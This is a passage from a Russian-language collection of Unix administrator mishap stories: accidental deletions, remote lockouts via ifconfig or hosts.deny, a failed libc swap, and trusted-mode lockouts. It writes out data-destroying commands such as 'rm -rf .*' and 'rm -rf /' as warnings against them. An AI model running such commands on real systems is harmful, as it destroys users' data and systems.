    процедуру с mount и VI и исправил /etc/fstab.

    а... еще забыл - VI не запускался пока я /var не замаунтил, т.к
    /tmp - линк на /var/tmp , а VI без /tmp не идет.

    /* а на Linux специальная команда есть - перемонтироваться на
    read-write - ее из single-user-mode можно выполнить

    mount -n -o remount /
    */


    &dDКоманда rm -rf в SCO&d@

    Ввиду того, что под шаблон ".*" подходит каталог ".."
    НИКОГДА НЕ ДЕЛАЙТЕ КОМАНДЫ rm -r .*

    (Большинство unix'ов прощают подобную ошибку, но НЕ ВСЕ)

    &dD
    From: Павел Северов

    "... решил я на нашем SCO-шном сервере с Oraclовской базой
    расчистить немного свободного места на диске..."

    # cd /usr/tmp
    # rm -rf *

    гляжу, а там всякий хлам остался /usr/tmp/.X11-0 ну и т.п.
    А я тогда

    # rm -rf .* # ОЙ!

    # du
    ldd: Can not open file
    # df
    ldd: Can not open file
    # ls -al
    ldd: Can not open file

    &d@
    . . .

    У этой истории грустный конец. Вы уже догадались, что
    /usr/tmp/.* содержит в себе /usr/tmp/.. После reboot'а машина,
    не найдя каталога /usr уже не ожила.

    &dDУдаленный доступ или "Запасной ключ от сейфа лежит в сейфе"&d@

    Хорошая штука, Unix + TCP/IP - можно отконфигурить машину
    у черта на куличках не вставая с рабочего места и даже не
    выходя из дома.

    &dDИстория 1.&d@ Вот и я однажды менял то ли IP-адрес, то ли
    роутинг на удаленной машине... Короче - промахнулся, сказал

    ifconfig eth0 down

    Вот собственно и все. Сказать
    ifconfig eth0 NEW-IP было уже некому.

    Вы конечно догадались, что _НАДО БЫЛО_ одной строкой писать
    ifconfig eth0 down ; ifconfig eth0 NEW-IP up ; route add ...

    &dDИстория 2.&d@ Захотелось повысить уровень security. Пишем
    в /etc/hosts.deny
    ALL:ALL

    в /etc/hosts.allow
    ALL:193.263.12.13
    ^^^ вроде бы маленькая ошибочка, цифры переставить, а
    нельзя - я уже успел отлогиниться.

    &dDУдаленный "доступ" или "Ключа вообще нет"&d@

    Повис у нас однажды сервер, надо reset нажать,
    перегрузить, а комната заперта, и ключи уже унесли. И telnet'ом
    не войдешь - некуда.

    Вырубили свет на всем этаже, включили вновь - voila!

    &dDНовая /lib/libc.so - апгрейд LIB C&d@

    Linux. 1993 год. Потребовалось подменить LibC. Ну, вперед,
    делов-то - старую передвинуть, новую - на ее место.

    cd lib
    mv libc.so libc.so-old
    mv libc.so-new libc.so
    ldd: Can not execute, shared library not found
    Finish.

    Пришлось грузиться с дискеты, монтировать hd.

    Но, как это ни смешно, в следующий раз те же команды,
    записанные в одну строку, сработали. Или библиотечка в кэше
    оказалась... Темна вода в Linuxе. Впрочем, файлы из каталога
    /sbin - обычно staticaly-linked - им для работы разделяемая
    libc без надобности.

    &dDИстория 1. Trusted mode - безопасность превыше всего&d@

    В HP-UX новички администраторы очень любят sam'ом поиграть
    - GUI, мышиный интерфейс - администрируй на здоровье. Вот
    только читать сообщения надо - а они по-английски все.
    Очень легко, одним "Ok" в SAM включается перевод системы в
    trusted режим. Включают, и не замечают. А замечают через пару
    дней, когда с трех раз не угадают пароль root. В trusted режиме
    логин после этого блокируется совсем, а другого юзера ПЕРЕД
    ЭТИМ завести - не догадываются.

    Как всегда - нас спасет single user mode: перехват
    загрузки в prompt IPL и затем

    IPL> hpux -is

    А затем запуск sam. И переконвертировать систему в "untrusted"

    # mount -a
    # sam

    Но если вы ухитрились еще и пароль на boot включить - то
    помогайте себе сами.

    &dDИстория 2. Security class C2: о том же, но в SCO&d@

    Security class C2 - это повышенная безопасность. И повышенный
    геморрой для пользователей. И для администратора - тоже.
    Привелось нам позвонить на защищенную SCO машину из Москвы
    в Питер, по модему. Скорости getty с первого раза подобрать не
    смогли, на логин прорывался 6-битный мусор, после третьей
    попытки вместо getty Login мы увидели "Intruder attempts, tty
    line /dev/modem disabled".

    Через пару недель хозяин машины вернулся в Питер и вернул getty.

    &dDScreen-сейвер и кнопка Enter&d@

    Когда screen-saver гасит экран, что вы нажимаете? Не знаю, как остальные, а
    я жму клавишу CTRL.

    Один мой знакомый решил почистить каталог /tmp. Из-под root'а. набирает он

    rm -rf /tmp/*, точнее хочет набрать, поскольку в момент
    rm -rf /_ звонит телефон и его куда-то вызывают.

    Через час он вернулся, увидел погашенный экран, и нажал _свою_ любимую
    клавишу. Угадайте, какую?
    .

    Страницы

    Подякувати Помилка?

    Дочати пiзнiше / подiлитися